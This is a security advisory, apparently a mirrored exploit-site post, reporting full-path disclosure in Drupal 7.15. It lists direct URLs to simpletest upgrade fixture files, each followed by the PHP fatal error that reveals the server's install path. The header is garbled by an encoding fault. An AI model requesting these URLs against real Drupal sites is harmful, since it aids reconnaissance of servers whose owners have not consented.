Drupal 7.15 suffers from multiple path disclosure vulnerabilities

Է:

@Sebug.net   dis
վṩ()ܴй,ȫоѧ֮,Ը!1.?============================================================2.Vulnerable Software: Drupal 7.153.Downloaded from: http://ftp.drupal.org/files/projects/drupal-7.15.tar.gz4.Vuln Type: Path Disclosure5.============================================================6.Tested:7.*php.ini MAGIC_QUOTES_GPC OFF*8.Safe mode off9.OS: Windows XP SP2 (32 bit)10.Apache: 2.2.21.011.PHP Version: 5.2.17.1712.MYSQL:  5.5.2713.============================================================14. 15.Drupal 7.15 is vulnerable to Path Disclosure.16. 17.My installation PATH is: 18.C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\19. 20. 21.Try Direct access and it will expose such information:22. 23.=========================================================================================24. 25.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.bare.database.php26. 27. 28.Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.bare.database.php on line 1729. 30.=========================================================================================31. 32.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.comments.database.php33. 34.Fatal error: Call to undefined function db_update() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.comments.database.php on line 235. 36.=========================================================================================37. 38.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.filled.database.php39. 40.Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.filled.database.php on line 2641. 42.=========================================================================================43. 44.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.forum.database.php45. 46. 47.Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.forum.database.php on line 748. 49.=========================================================================================50. 51.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.locale.database.php52. 53. 54.Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.locale.database.php on line 755. 56.=========================================================================================57. 58.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.menu.database.php59. 60. 61.Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.menu.database.php on line 262. 63.=========================================================================================64. 65.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.node_type_broken.database.php66. 67. 68.Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.node_type_broken.database.php on line 269. 70.=========================================================================================71. 72.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.translatable.database.php73. 74. Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.translatable.database.php on line 775. 76.=========================================================================================77. 78.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.trigger.database.php79. 80. 81.Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.trigger.database.php on line 682. 83. 84.=========================================================================================85. 86.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.upload.database.php87. 88. 89. 90.Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.upload.database.php on line 391. 92.=========================================================================================93. 94.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-no-password-token.database.php95. 96. 97.Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-no-password-token.database.php on line 298. 99.=========================================================================================100. 101.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-password-token.database.php102. 103. 104.Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-password-token.database.php on line 2105. 106.=========================================================================================107. 108.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.field.database.php109. 110. Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.field.database.php on line 8111.=========================================================================================112. 113.http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.trigger.database.php114. 115. Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.trigger.database.php on line 8116. 117.==========================NO ONE AND NOTHING IS IDEAL======================================118. 119. 120. 121.SHOUTZ AND GREAT THANKS TO ALL MY FRIENDS:122.===========================================================123.packetstormsecurity.org124.packetstormsecurity.com125.packetstormsecurity.net126.securityfocus.com127.cxsecurity.com128.security.nnov.ru129.securtiyvulns.com130.securitylab.ru131.secunia.com132.securityhome.eu133.exploitsdownload.com134.exploit-db.com135.to all Aa Team + to all Azerbaijan Black HatZ +136.      *Especially to my bro CAMOUFL4G3.*137.===========================================================138. 139./AkaStep